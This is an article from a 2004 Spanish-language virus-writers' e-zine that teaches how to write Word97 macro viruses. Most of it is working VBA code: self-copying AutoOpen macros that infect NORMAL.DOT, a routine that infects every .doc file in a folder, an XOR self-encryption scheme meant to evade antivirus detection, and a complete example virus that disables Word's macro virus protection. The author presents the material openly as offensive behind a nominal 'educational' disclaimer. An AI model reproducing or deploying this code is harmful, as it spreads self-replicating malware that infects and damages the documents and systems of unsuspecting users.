(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Como Programar Un MacroVirus en Word97 Autor : Pr0t0z00 Vlido para : Word AVISO: Si este documento tiene faltas ortograficas no las tomes en cuenta pues no es lo importante, ademas poner acentos y cosas por el estilo quita tiempo = ). Esta demas recordar que el contenido de este documento es de caracter EDUCATIVO y que no me responsabiliso en lo absoluto por la mala utilizacion de lo aqui expuesto. Y aunque bien es sabido que "LAS BOMBAS ESTAN HECHAS PARA ESTALLAR Y LOS VIRUS PARA INFECTAR" recuerda siempre que debes infectar tu propia makina antes que las de otros. Jejejeje, Suena bonito INDICE. 1 INTRO. 2 COMENZAMOS. 2.1 Automacros. 2.2 La plantilla normal. 3 INFECCION. 3.1 Metodo de infeccion comun. 3.2 Metodo de infeccion avanzado. 4 ENCRIPTACION. 4.1 Ventajas. 4.2 Ejemplo de encriptacion. 4.3 Virus de ejemplo. 4.4 OUTRO. 1 INTRO. En este documento se tratan a fondo metodos de infeccion en word97 asi como tambien se tratan formas de proteger nuestros virus ante ojos de intrusos y/o antivirus, espero que este documento sea de interes para el lector y que le sirva por lo menos para saber algo mas. La informacion expuesta en este documento la imparto asumiendo que el lector tiene una pequea base sobre como usar el editor de Visual Basic de Word97 ademas del uso de las automacros de este mismo. 2 COMENZAMOS. Ahora veremos los puntos de mas interes a la hora de comenzar a escribir un virus de macro. Manos al KeyBoard !! 2.1 Automacros. Las automacros como su nombre lo indica son macros automaticas que se ejecutan tras un evento, por ejemplo, al abrir un documento se ejecutara el codigo que contenga la macro AutoOpen. Principalmete utilizaremos esta macro para escribir el codigo de nuestro virus. ejemplo: Vamos al editor de Visual Basic e insertamos un nuevo MODULO en el cual escribi- remos el siguiente codigo: Sub AutoOpen () MsgBox "Hola" End Sub El codigo anterior muestra el mensaje "Hola" cada vez que es abierto el documento pero solo el documento que contenga este codigo lo ejecutara. Si quisieramos que el codigo anterior se ejecutara al abrir cualquier documento tendriamos que insertar un nuevo MODULO en la plantilla NORMAL y ahi escribir el codigo. 2.2 La plantilla NORMAL. Word97 posee una plantilla global llamada "NORMAL.DOT" que se encuentra en direc- torio "C:\Archivos de Programa\Microsoft Office\plantillas\", esta plantilla ejecuta las macros que contenga de manera global, osea si el codigo que vimos anteriormente estuviera escrito en la plantilla NORMAL se ejecutaria ese codigo al abrir cualquier documento. 3 INFECCION. Ahora veremos algunos metodos de infeccion o mejor dicho veremos dos metodos de infeccion. 3.1 Metodo de infeccion comun. Este metodo es el mas conocido y conciste en la copia de codigo directa osea de DOCUMENTO a NORMAL y de NORMAL a DOCUMENTO.Este metodo lo llevaremos a cavo con el metodo OrganizerCopy. A continuacion pongo codigo de ejemplo. (Todas las lineas que empiezan con una comilla son comentarios) Sub autoopen() 'Si hay error seguimos On Error Resume Next 'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL 'Source indica de donde queremos copiar el MODULO 'Destination indica donde queremos copiar el MODULO 'Name indica el nombre del modulo a copiar 'Object indica el tipo de objeto a copiar, en este caso un item de proyecto Application.OrganizerCopy Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, Name:="Modulo1", _ Object:=wdOrganizerObjectProjectItems 'Aqui se da lo mismo que en el caso anterior solo que al revez, osea copiamos el 'MODULO que contiene la plantilla NORMAL al documento activo Application.OrganizerCopy Source:="C:\Archiv~1\Microsoft Office\Plantillas\Normal.dot", _ Destination:=ActiveDocument.FullName, Name:="Modulo1", _ Object:=wdOrganizerObjectProjectItems End Sub Y bien, ya esta explicado lo que hace el codigo anterior. Ahora apliquemoslo. Manos al KeyB! Vamos al editor de Visual Basic y tras insertar un nuevo MODULO a nuestro documento aadimos el codigo anterior, luego guardamos los cambios en nuestro documento y CRACH!!!!! Si tienes un antivirus instalado saltara la alarma, que triste pero no es de preocupacion ya que con el metodo que veremos a continuacion los antivirus se quedan cortos, bueno, en realidad ami la alarma del norton no me salto. 3.2 Metodo de infeccion avanzado. Este metodo lo ingenie yo mismo y consiste en la busqueda de documentos en el directorio donde reside nuestro documento, la ventaja que tiene este metodo de infeccion es que tenemos la posibilidad de infectar mas de un documento y ademas los antivirus ni se inmutan bueno en realidad mi Norton ni se inmuto( xD ), creo que el AVP si detecta este metodo pero no importa porke luego veremos algo de encriptacion. Acontinuacion pongo codigo de ejemplo de este metodo de infeccion (infeccion por busqueda). Sub AutoOpen 'Si hay error seguimos. On Error Resume Next 'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL 'Source indica el documento del cual queremos copiar el MODULO 'Destination indica el documentoi en el cual queremos copiar el MODULO 'Name indica el nombre del modulo a copiar en este caso el modulo llamado Nucleo 'Object indica el tipo de objeto a copiar, en este caso un item de proyecto. Application.OrganizerCopy Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, Name:="Nucleo", _ Object:=wdOrganizerObjectProjectItems 'Iniciamos un bloque With y utilizamos la propiedad FileSearch para buscar archivos. With Application.FileSearch 'El ".FileName" es lo mismo que escribir "Application.FileSearch.Filename" y lo escribimos 'asi devido a que estamos utilizando el bloque With, .FileName apunta a los archivos 'a buscar, en este caso buscaremos "*.doc" osea documentos de Word97. .FileName = "*.doc" '.LookIn apunta al directorio en donde iniciamos la busqueda, en este caso en el directorio 'donde reside nuestro documento (ActiveDocument.Path). .LookIn = ActiveDocument.Path '.Execute para iniciar la busqueda. .Execute 'Ahora iniciamos un bucle For Next, ".FoundFiles.Count" apunta a la cantidad de archivos 'encontrados. For i = 1 To .FoundFiles.Count 'Seteamos los atributos de los files encontrados por si estuvieran de Solo Lectura. SetAttr .FoundFiles(i), vbArchive 'Si el archivo encontrado es el que hemos abierto lo infectamos (si este codigo estuviera 'en la plantilla NORMAL y abrieramos un documento limpio este seria infectado al instante). If .FoundFiles(i) = ActiveDocument.FullName Then GoTo Infectar 'Buscamos siguiente archivo. Next i Infectar: 'Si hay error seguimos On Error Resume Next 'Aqui copiamos el MODULO que contiene la plantilla NORMAL al documento activo. 'el .FoundFiles(i) contiene el nombre del documento que vamos a infectar 'Nucleo es el nombre del modulo que copiamos Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _ Destination:=.FoundFiles(i), Name:="Nucleo", _ Object:=wdOrganizerObjectProjectItems Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate End With End Sub Como te habras dado cuenta el codigo que vimos anteriormente infecta nada mas que un solo documento a la vez pero con una pequea modificacion podremos lograr que infecte mas de un documento osea podremos lograr que infecte el documento que es abierto mas los que se encuentren en su directorio. Acontinuacion el codigo con esta modificacion Sub AutoOpen On Error Resume Next Application.OrganizerCopy Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, Name:="Nucleo", _ Object:=wdOrganizerObjectProjectItems With Application.FileSearch .FileName = "*.doc" .LookIn = ActiveDocument.Path .Execute 'Apartir de aqui podemos ver la modificacion For i = 1 To .FoundFiles.Count SetAttr .FoundFiles(i), vbArchive On Error Resume Next Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _ Destination:=.FoundFiles(i), Name:="Nucleo", _ Object:=wdOrganizerObjectProjectItems Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate Next i End With End Sub Lo que hace el codigo anterior es infectar el documento que es abierto y todos los documentos que se encuentren en el directorio de este. Mas adelante iremos viendo otros metodos de infeccion pero ahora toca tratar un tema en mi opinion muy interesante que es la ENCRIPTACION de nuestros viruses. 4 ENCRIPTACION. Sera posible encriptar un virus de macro?, la respuesta es "si" y eso es lo que vamos a tratar ahora. Hay formas y formas de lograr que nuestro virus quede encriptado, podriamos por ejemplo exportar el codigo de nuestro virus a un TXT encriptarlo y luego importarlo a nuestro virus pero es mucho lio, mejor veamos una forma mas comoda que lograremos gracias a las comillas usadas para los comentarios en Visual Basic 4.1 Ventajas. Las ventajas de encriptar un virus de macros son mas que logicas, por ejemplo podemos evitar la Heuristica de los AntiVirus y evitar que nos vean el codigo, etc... ;} 4.2 Ejemplo de encriptacion. Acontinuacion un ejemplo: El siguiente codigo encripta desde la linea 7 hasta la ultima menos 23, osea encripta solo el contenido de la Sub Virus, pero ojo el "Call EncDesc" de la Sub Virus no es encriptado porque con ese Call llamamos a la rutina de encripta- cion para que encripte el codigo despues de la ejecucion de este mismo. por esta razon encriptamos desde la linea 7 Nota: Para encriptar el codigo de la Sub Virus ejecutaremos la Function EncDesc. Con esto el codigo de la Sub Virus quedara encriptado, ahora, si ejecutamos la Sub AutoOpen podemos obserbar que el codigo se desencripta, se ejecuta (en este caso muestra el mensaje), y se encripta nuevamente. --------------------------- Copiar desde aqui ----------------------------------- Sub AutoOpen() ' Call EncDesc ' Llamamos a la funcion EncDesc para desencriptar Call Virus ' Una vez desencr el codigo llamamos a la Sub Virus para ejecutarla End Sub Sub Virus() ' Sub que encriptaremos Call EncDesc ' Aqui volvemos a encriptar el codigo despues que se ejecuta MsgBox "s33k&d3str0y." ' < Aqui deveria ir el codigo del virus End Sub '(en este caso mostramos un mensaje) Function EncDesc() ' Funcion Encriptadora/Desencriptadora For ModuloActivo = 1 To Application.VBE.CodePanes.Count ' Iniciamos un contador para buscar el Codigo a encriptar If Right(Application.VBE.CodePanes(ModuloActivo).codemodule.Lines(1, 1), 1) = "'" Then ' Estamos en el codigo? Set CodigoDeModulo = Application.VBE.CodePanes(ModuloActivo).codemodule 'Apunta al Codigo de nuestro modulo '____________________________________________ For H = 7 To CodigoDeModulo.CountOfLines - 23 ' Iniciamos un contador de lineas para encriptarlas o desencriptarlas ' LineasDeModulo$ = CodigoDeModulo.Lines(H, 1) ' LineasDeModulo$ apunta al numero de linea indicado por H For I = 1 To Len(LineasDeModulo$) ' Iniciamos un contador para extraer la longitud en caracteres de cada linea caracter = Chr(Asc(Mid(LineasDeModulo$, I, 1)) Xor 210) ' Esto encripta o desencripta la linea caracter por caracter lineaEncDesc = lineaEncDesc + caracter ' Aqui vamos acumulando la linea encriptada o desencriptada caracter a caracter Next I If Left(CodigoDeModulo.Lines(H, 1), 1) = "'" Then ' Verificamos si la linea esta encriptada CodigoDeModulo.deletelines H, 1 ' Si es asi la eliminamos para insertar la misma linea pero desencriptada CodigoDeModulo.insertlines H, Mid(lineaEncDesc, 2, Len(lineaEncDesc)): GoTo 2 ' Esto inserta la linea y salta a 2 End If CodigoDeModulo.deletelines H, 1 ' Si la linea no esta encriptada la eliminamos para insertar la misma pero encriptada CodigoDeModulo.insertlines H, "'" + lineaEncDesc ' Esto inserta la linea Encriptada y le pone un " ' " al principio 2: lineaEncDesc = "": Next H ' Aqui limpiamos la variable lineaEncDesc para seguir con la siguiente linea (Next H) End If Next ModuloActivo End Function ------------------------------ Hasta aca ---------------------------------------- Nota : Te fijaste en esa linea que remarque, te explico: For H = 7 To CodigoDeModulo.CountOfLines - 23 El 7 indica que empezamos a encriptar el codigo desde la 7ma linea y el 23 indica la cantidad de lineas que ocupa nuestra Funcion Encriptadora/Desencriptadora que en realidad son 22 pero le sumamos la linea del End Sub de la Sub Virus osea 23 lineas, Bueno, este 23 lo restamos al total de lineas del codigo para evitar encriptar la funcion EncDesc porque si esta fuera encriptada luego como desencriptariamos el codigo del virus. Cuando digo Encriptadora/Desencriptadora me refiero a que la misma funcion nos sirve para encriptar o desencriptar el codigo segun como este, por ejemplo si el codigo esta encriptado lo desencriptara y si esta desencriptado lo encriptara, esto gracias al operador logico Xor. 4.3 Virus de ejemplo. Ahora veremos un pequeo ejemplo de un viruz de macro con funcion encriptadora. Pondre el codigo en sus dos formas, vale decir, cuando no esta encriptado y cuando lo esta. debo decir tambien que este virus posee un metodo de infeccion distinto a los que vimos anteriormente, dejare que te entretengas un buen rato tratando de descubrir como funciona este metodo de infeccion. No ejecutes la sub Document_Open() en esta forma porque si tienes un antivirus instalado lo mas probable es que el virus sera detectado. para poder ver el funcionamiento de este virus su codigo deve ser pegado en el objeto ThisDocument en el editor de visual basic y deve comenzar dese la primera linea, tambien fijate en que despues de la ultima linea del virus no hayan lineas en blanco, si las hay eliminalas. Una vez pegado el virus en el objeto ThisDocument si situas el cursor dentro de la sub EncDesc y la ejecutas veras como el codigo se encripta y desencripta. Private Sub Document_Open() ' Call EncDesc Call BioCodigo End Sub Private Sub BioCodigo() Call EncDesc '*****************************Se encripta desde aqui************************* On Error Resume Next Application.ScreenUpdating = False Options.VirusProtection = False Application.DisplayAlerts = wdAlertsNone WordBasic.DisableAutoMacros 0 If UCase(VBProject.Name) <> "NORMAL" Then Set Mx9k = ActiveDocument Set x8pZ = NormalTemplate If Right(x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1), 1) = "'" Then GoTo M6Xk GoTo pX8k: End If M6Xk: Set Mx9k = NormalTemplate Set x8pZ = ActiveDocument If x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1) = "Call EncDesc" Then Exit Sub pX8k: k3xWQ = Mx9k.VBProject.vbcomponents(1).codemodule.lines(1, Mx9k. _ VBProject.vbcomponents(1).codemodule.CountOfLines) x8pZ.VBProject.vbcomponents(1).codemodule.DeleteLines 1, x8pZ. _ VBProject.vbcomponents(1).codemodule.CountOfLines x8pZ.VBProject.vbcomponents(1).codemodule.InsertLines 1, k3xWQ '****************************Se desencripta Hasta aqui******************************* ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument End Sub Private Function EncDesc() For ACM = 1 To Application.VBE.CodePanes.Count If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then Set X8Nz = Application.VBE.CodePanes(ACM).codemodule For h = 8 To X8Nz.CountOfLines - 23 a$ = X8Nz.lines(h, 1) For I = 1 To Len(a$) char = Chr(Asc(Mid(a$, I, 1)) Xor 210) linea = linea + char Next I If Left(X8Nz.lines(h, 1), 1) = "'" Then X8Nz.DeleteLines h, 1 X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2 End If X8Nz.DeleteLines h, 1 X8Nz.InsertLines h, "'" + linea 2: linea = "": Next h End If Next ACM End Function En el codigo que viene a continuacion contiene las lineas encriptadas y corresponden a la parte infecciosa del virus. En esta forma el virus podra ser ejecutado y no sera detectado por el AntiVirus. Private Sub Document_Open() ' Call EncDesc Call BioCodigo End Sub Private Sub BioCodigo() Call EncDesc '*****************************Se encripta desde aqui************************* '-򀷡򜷪 '""""" '""""" '"""-"""" '"-"" ''"𜝀"򆺷 '""- 'ꢈ򜽿 '"ꢈ""򆺷o䊹 'o '- '䊹 '򜽿 'ꢈ""- 'ꢈ""'--򆺷-"򁧰 ' '᪅"" '"'" 'ꢈ"-"ꢈ '"'" 'ꢈ""᪅ '****************************Se desencripta Hasta aqui******************************* ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument End Sub Private Function EncDesc() For ACM = 1 To Application.VBE.CodePanes.Count If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then Set X8Nz = Application.VBE.CodePanes(ACM).codemodule For h = 8 To X8Nz.CountOfLines - 23 a$ = X8Nz.lines(h, 1) For I = 1 To Len(a$) char = Chr(Asc(Mid(a$, I, 1)) Xor 210) linea = linea + char Next I If Left(X8Nz.lines(h, 1), 1) = "'" Then X8Nz.DeleteLines h, 1 X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2 End If X8Nz.DeleteLines h, 1 X8Nz.InsertLines h, "'" + linea 2: linea = "": Next h End If Next ACM End Function 4.4 OUTRO Bueno, espero que con este documento hayas conseguido ampliar un poco mas tus conocimientos(si es ke ya no lo sabias xD). Por ahora me despido y un infeccioso saludo a todos los escritores de viruz de este puto planeta. -Pr0t0z00 (C) MITOSIS #2 E-Zine/GEDZAC 2004